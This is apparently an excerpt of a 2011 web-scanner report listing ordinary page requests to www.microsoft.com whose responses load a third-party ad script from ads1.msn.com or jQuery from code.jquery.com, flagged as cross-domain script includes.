HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:22 GMT Last-Modified: Wed, 24 Aug 2011 08:10:13 GMT ETag: 634497450130000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 VTag: 438185031600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:22 GMT Content-Length: 86360
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><title> ...[SNIP]... <li class="vrtc_ad_hidden" id="vrtc_ad_0"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /en/in/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:23 GMT Last-Modified: Tue, 09 Aug 2011 05:51:24 GMT ETag: 634484406840000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 VTag: 791920630500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:23 GMT Content-Length: 69782
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /en/mt/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:25 GMT Last-Modified: Fri, 08 Apr 2011 11:18:09 GMT ETag: 634378330890000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 VTag: 279872531300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:25 GMT Content-Length: 101984
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /en/us/sitemap.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:53:40 GMT Last-Modified: Thu, 18 Aug 2011 06:02:30 GMT ETag: 634492189500000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 VTag: 43845200600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:43:39 GMT Content-Length: 106483
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><title> ...[SNIP]... <div class="smp_vertAd" style="width:160px;"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /es/ar/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:53:44 GMT Last-Modified: Thu, 25 Aug 2011 13:51:50 GMT ETag: 634498519100000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 27950300800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:43:43 GMT Content-Length: 55097
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="es"><head><title> ...[SNIP]... <li class="vrtc_ad_hidden" id="vrtc_ad_1"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /es/co/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:53:45 GMT Last-Modified: Thu, 11 Aug 2011 20:44:03 GMT ETag: 634486670430000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791766100600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:43:45 GMT Content-Length: 79838
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="es"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /es/es/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:53:48 GMT Last-Modified: Wed, 24 Aug 2011 08:22:58 GMT ETag: 634497457780000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 43892500300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:43:47 GMT Content-Length: 70312
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="es"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /es/mx/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:53:49 GMT Last-Modified: Thu, 25 Aug 2011 15:55:22 GMT ETag: 634498593220000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279265400400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:43:49 GMT Content-Length: 68969
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="es"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /es/xl/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:53:58 GMT Last-Modified: Thu, 25 Aug 2011 20:16:16 GMT ETag: 634498749760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279241400500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:43:57 GMT Content-Length: 74064
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="es"><head><title> ...[SNIP]... <li class="vrtc_ad_hidden" id="vrtc_ad_0"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /events/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=iso-8859-1 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:17:23 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438633900100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:17:22 GMT Content-Length: 44846
<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><META name="MS.LOCALE" content="en-us"><title>Events and Webcasts Home Page</title><meta name="descriptio ...[SNIP]... <center><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /events/series/technetmms.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279123800700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:17:21 GMT Content-Length: 34747
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /fi/fi/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:06 GMT Last-Modified: Wed, 24 Aug 2011 10:08:40 GMT ETag: 634497521200000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438928942100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:06 GMT Content-Length: 77500
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="fi"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /forefront/en/us/identity-access-management.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:36 GMT Last-Modified: Fri, 17 Dec 2010 20:29:07 GMT ETag: 634281857470000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438263630700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:36 GMT Content-Length: 71174
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /forefront/endpoint-protection/en/us/try-it.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:40 GMT Last-Modified: Mon, 03 Jan 2011 17:23:25 GMT ETag: 634296434050000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791682031000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:39 GMT Content-Length: 32887
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633959010811208960" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 404 Page not available Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279507342100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:56:53 GMT Content-Length: 106870
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><base href ...[SNIP]... <div class="smp_vertAd" style="width:160px;"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 404 Page not available Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438614843100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:56:33 GMT Content-Length: 106869
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><base href ...[SNIP]... <div class="smp_vertAd" style="width:160px;"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /he/il/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:17 GMT Last-Modified: Wed, 24 Aug 2011 08:39:45 GMT ETag: 634497467850000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79123042600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:16 GMT Content-Length: 79184
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="rtl" lang="he"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://code.jquery.com/jquery-latest.js
Request
GET /hu/hu/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:02 GMT Last-Modified: Wed, 24 Aug 2011 09:46:42 GMT ETag: 634497508020000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279399742000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:01 GMT Content-Length: 64561
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="hu"><head><title> ...[SNIP]... </script><script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /hy/am/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:14 GMT Last-Modified: Wed, 12 Jan 2011 22:49:41 GMT ETag: 634304405810000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791176143000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:14 GMT Content-Length: 110874
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="hy"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 404 Page not available Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279820942800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:38:07 GMT Content-Length: 106854
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><base href ...[SNIP]... <div class="smp_vertAd" style="width:160px;"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 404 Page not available Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438872341700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:38:03 GMT Content-Length: 106859
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><base href ...[SNIP]... <div class="smp_vertAd" style="width:160px;"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /it/it/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:01 GMT Last-Modified: Fri, 26 Aug 2011 16:04:03 GMT ETag: 634499462430000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79112243100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:00 GMT Content-Length: 95946
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /ka/ge/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:09 GMT Last-Modified: Mon, 18 Apr 2011 13:19:49 GMT ETag: 634387043890000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791502442500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:08 GMT Content-Length: 70379
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ka"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /ko/kr/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:22 GMT Last-Modified: Mon, 22 Aug 2011 01:53:38 GMT ETag: 634495496180000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438580642800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:21 GMT Content-Length: 122626
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ko"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /learning/en/us/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:58:51 GMT Last-Modified: Wed, 10 Aug 2011 13:05:35 GMT ETag: 634485531350000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791375031800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:48:50 GMT Content-Length: 79103
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /learning/en/us/training/products.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:58:52 GMT Last-Modified: Wed, 10 Aug 2011 13:05:35 GMT ETag: 634485531350000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791957932300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:48:51 GMT Content-Length: 89997
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
GET /maps/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
